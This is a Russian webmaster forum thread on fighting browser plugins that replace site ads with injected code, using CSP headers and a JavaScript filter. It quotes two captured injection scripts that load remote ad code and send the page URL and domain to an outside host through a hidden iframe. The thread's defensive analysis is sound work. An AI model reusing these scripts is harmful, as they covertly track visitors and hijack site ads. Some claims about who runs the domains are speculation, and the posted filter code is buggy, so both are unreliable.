ctit ctit

Рейтинг
246
Регистрация
07.05.2010
ctit:
А почему нельзя контролировать только <script>, <iframe>. Они же создают угрозу....

На мой взгляд этот код должен вполне спасать сайт.

Поставил данный скрипт. Отчеты по CSP прекратились. То ли скрипт все режет, то ли пользователи стали убирать плагины.....

burunduk:
контролировать надо все элементы

А почему нельзя контролировать только <script>, <iframe>. Они же создают угрозу....

На мой взгляд этот код должен вполне спасать сайт.


function goodscript(s)
{
var del1 = [пропускать эти домены];
for (var i in del1)
{
if (s.indexOf(del1) + 1) return true;
}
return false;
}
function delscript()
{
var col=document.getElementsByTagName("script");
var ns=col.length;
for(i=0;i<ns;i++)
{
if (col && col.getAttribute("src") != null)
{
s1=col.getAttribute("src");
if ( goodscript(s1)==false )
{
col.InnerHtml="";col.setAttribute("src","");
col.parentNode.removeChild(col);
}
}
}
}
setInterval(delscript(), 1500);

Что касается http://yandex.sc

Вот его код. На первый взгляд типичный вирусняк, однако список ресурсов почему-то назван BlackList. Кто силен в js, подскажите. Пока удалил этот ресурс из списка CSP.


{function b(b){e.Debug&&console.log(b)}function d(a){b("get: "+a+" return "+localStorage[a]);
return localStorage[a]}

function a(a,d){b("set: "+a+" = "+d);
localStorage[a]=d}function g(){return(new Date).getTime()}function h(a,d,c){if(c){var e=document.createElement("div");
e.id=c;document.body.appendChild(e)}c=document.createElement("script");c.setAttribute("type","text/javascript");
c.setAttribute("src",a);document.body.appendChild(c);b("INJECT ADVERT SCRIPT: "+a);(function(){var a=0,c=
setInterval(function(){20<=a?(clearInterval(c),b("CLEAR_INTERVAL: MAX ITERATIONS"),e("document")):

(e(d)&&(clearInterval(c),b("CLEAR_INTERVAL: FOUND")),a++)},300),e=function(b){var a="document"==b?document:document.querySelector(b);if(a){var c=function(){f.contentWindow.postMessage({type:"advert-script-clicked"},"*");a.removeEventListener("mousedown",c)};a.addEventListener("mousedown",c);return!0}return!1}})()}

function k(b){b=Base64.encode(JSON.stringify(b));b=e.IframeSrc+"?q="+b;f=document.createElement("iframe");
f.setAttribute("src",b);f.setAttribute("width",0);
f.setAttribute("height",0);f.setAttribute("border",0);f.style.display="none";
document.body.appendChild(f)}
var f,e={BlackList:"список поисковиков список ресурсов миллионников далее список порно-ресурсов".split(" "), FirstDate:"_ci_first_date",LastDate:"_ci_last_date",Clicks:"_ci_clicks",DateInterval:2592E5,CheckDate:Date.parse("8/15/2014"),IframeSrc:"http://yandex.sc/v4/ci.iframe.html",Debug:0},l={increment:function(){var a=parseInt(localStorage[e.Clicks])||0;b("Clicks.increment OLD:"+a);localStorage[e.Clicks]=a+1},get:function(){return localStorage[e.Clicks]},set:function(b){localStorage[e.Clicks]=b}};

if(function(b){for(var a=0;a<e.BlackList.length;a++)if(0<=b.indexOf(e.BlackList[a]))return!0;return!1}(location.host))b("Blacklist");
else{b("Not Blacklist");l.increment();var g=g(),m=parseInt(d(e.LastDate))||0;d(e.FirstDate)||a(e.FirstDate,g);b("Now>CheckDate "+(g>=e.CheckDate));b("Now-lastDate>Inteval "+(g-m>=e.DateInterval));g>=e.CheckDate&&g-m>=e.DateInterval&&(l={FirstDate:d(e.FirstDate),LastDate:g,Clicks:l.get(),Url:location.href,Domain:location.host},k(l),b("Inject Iframe"));a(e.LastDate,g)}(function(){var a=c.addEventListener?"addEventListener":"attachEvent";(0,c[a])("attachEvent"==a?"onmessage":"message",function(a){a=
a.data;"advert-script-iframe"==a.type&&a.url?h(a.url,a.selector,a.append_id):"advert-script-log"==a.type&&a.log&&b(a.log)},!1)})()})
Оптимизайка:
А я наблюдаю, что data:text - скрипты рекламных сетей попандеров казино вулкан :)

Да, тоже нашел его (уже делаю заплатку). В его списке все сайты про казино и деньги.

Кстати, noorma, который проверял unmedia, сообщил, что на моем проекте режется весь мусор, т.е. все же CSP справляется.

Что касается, data:text, то как оказалось, большая часть внедряется как скрипты от рекламных сетей, которые собирают статистику.

Вроде c.imrk.net - один из них.

burunduk:
вообще-то, проблема решается только полным контролем над dom :)

Да, видимо. Сейчас проверяю, как это скажется. Проверка идет правда только на <script>, <iframe>, <div>.

Кстати, у некоторых пользователей стоит полный набор вирусных плагинов. С одной стороны, они могли их поставить, чтобы заработать денежку (плагины подмены рекламы и ссылок), с другой стороны, могли получить задание на бирже, установить именно эти плагины, и ходить по указанным сайтам и валить трастовость.

ctit:
Тема /ru/forum/866823 разрослась, поэтому вопросы безопасности сайтов вынесу в новую тему.

Резюме прошлой темы:
1) рост плагинов, которые подменяют код рекламы AdSense, Яндекс.РС и другие на свой вирусный код.
2) Защита возможна через CSP (но не на 100%) и через javascript.

Для настройки блокировки через CSP, например, для допуска кода AdSense можно использовать следующий заголовок (в файле .htaccess):



При этом код файла отчета может иметь следующий вид:

Настройки приведены с учетом тестирования в течение месяца. При других настройках падает CTR, при данных настройках - сохраняется на высоком уровне.

'unsafe-inline' 'unsafe-eval'

Позволяют внедрять код сриптами. Поэтому дополнительно можно использовать защиту на js, либо вынести код AdSense отдельно и рискнуть получить бан.

Однако защита есть еще и в секции frame-src

Когда я пишу, что подзагружается чем-то, то имеется в виду, что в секции original-uri: указан googleads.g.doubleclick.net

Например, так указаны 192.92.92.100 и googleads.g.4zw.pw

В отчетах можно видеть следующие результаты (от Оптимизайка):

Ответы браузера или плагинов

1) mx://res/reader-mode/reader.html

Это режим "Reader" в MacOS Safari, который вырезает все и оставляет один текст

2) https://localhost

null

Это мобильные браузеры в iPhone/iPad. Они знатно глючат с CSP, поэтому для части их проще отключить CSP.

3) about;data;safari-resource;ybnotification;webviewprogressproxy;chromenull;chromeinvoke;chromeinvokeimmediatewyciwyg;safari-extension;asset;mbinit;command

Сами вирусы

например,

asabor.ruretargetpro.net;frotalmost.ruscreentoolkit.com;5.149.255.132superfish.com

И плагины пользователя, например

admuncher.com;adtrustmedia.com;metabar.ru

Для меня, например, так и не понятно куда отнести *.akamaihd.net, поскольку в Интернет он известен как вирус, но его пропускают facebook и twitter.

Самый вредоносный пока остается server381.com, который грузит кучу data:text/javascript;arteta.ru и другие. И зачем-то http://yandex.sc/v4/ci.iframe (вероятно по заказу - возможно это скрипт Яндекс, который зафиксирует факт наличия вредоносного кода и понизит рейтинг сайта).

---------- Добавлено 24.10.2014 в 14:02 ----------

Оптимизайка:
*.akamaihd.net - вирусня
http://10.20.2.42:15871 - вообще не интернет-адрес
data: - вирусня
http://yandex.sc - это не домен яндекса если что
blocking.stat - не домен а фигня какая-то
http://*.whisla.com - никаким боком к adsense

в целом - фарш :D С такими правилами, дейстительно не на 100% :D

С самого начала заявлял, что *.akamaihd.net вирус, но по данным зарубежных источников (блогеров), некоторые поддомены могут использоваться как датацентры cookie, которые используют рекламные площадки. До недавнего времени сам блокировал этот ресурс.

Например, вот содержимое одного из скрипта:


!function(t){for(var e=t.getElementsByTagName("script"),r=0;r<e.length;r++){var s=e[r];if(s&&s.src&&!s.getAttribute("data-processed")&&s.src.match(/-a\.akamaihd\.net\/sub\//)){s.setAttribute("data-processed","1");var a=s.src.split("?")[1];a=a?a.split("&"):[],a.push("zoneid="+encodeURIComponent("518313"));var c=s.src.match(/[&?]?pid=(\d+)/)[1];if(c){var i=t.createElement("script");return i.src="//"+s.src.split("/")[2]+"/loaders/"+c+"/l.js?"+a.join("&"),void t.body.appendChild(i)}}}}(document);

10.20.2.42:15871 - наткнулся на статью, что это какой-то глобальный прокси-сервер (по крайне мере код подзагружается именно из pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

yandex.sc - редиректит на yandex.ru и служит видимо для каких-то технических задач.

blocking.stat - генерируется youtube.com

http://*.whisla.com - позагружается скриптами pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

Всего: 1301